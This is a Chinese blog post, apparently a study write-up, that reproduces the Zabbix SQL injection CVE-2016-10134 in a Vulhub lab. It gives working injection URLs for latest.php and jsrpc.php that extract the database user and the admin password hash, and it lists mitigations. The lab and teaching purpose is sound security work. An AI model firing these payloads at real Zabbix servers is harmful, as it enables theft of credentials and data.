vulhub学习文档-zabbix php SQL注入漏洞

zabbix php SQL注入漏洞

一.漏洞介绍
(一)编号
CVE-2016-10134
(二)概述
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
(三)影响版本
Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本。
(四)漏洞要求
zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。

二.操作步骤
(一)Vulhub ip地址:http://192.168.126.136
文件位于:/home/vulhub/vulhub-master/zabbix/CVE-2016-10134
1.环境搭建 docker-compose build和docker-compose up -d
在这里插入图片描述

2.检查docker是否开启 docker-compose ps
在这里插入图片描述

(二)Windows-lastest.php
1.登录测试页面 http://192.168.126.136:8080
在这里插入图片描述

2.使用游客登录,并抓包
查看Cookie中的zbx_sessionid 的后16位ec2d6a2cdca6ddc4
在这里插入图片描述

3.将这16个字符作为sid的值,访问
http://192.168.126.136:8080/latest.php?output=ajax&sid=ec2d6a2cdca6ddc4&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
在这里插入图片描述
在这里插入图片描述

存在注入漏洞
(三)Windows-jsrpc.php
1.无需登录,直接输入payload:
① 获取用户名
http://192.168.126.136:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
在这里插入图片描述
在这里插入图片描述

② 获取用户名和密码HASH

http://192.168.126.136:8080/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,(select%20concat(name,0x3a,passwd)%20from%20%20users%20limit%200,1),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

在这里插入图片描述
在这里插入图片描述

三.漏洞防护
(一)版本升级至最新版本
(二)禁用Guest账户,关闭无用账户

参考文章
https://www.cnblogs.com/zzjdbk/p/13375094.html
https://www.freebuf.com/column/241131.html
https://www.cnblogs.com/3geweb/p/12684784.html

本篇为自我学习回顾,不能保证完全正确!!!
网络信息安全-ploto

猜你喜欢

转载自blog.csdn.net/ploto_cs/article/details/108543615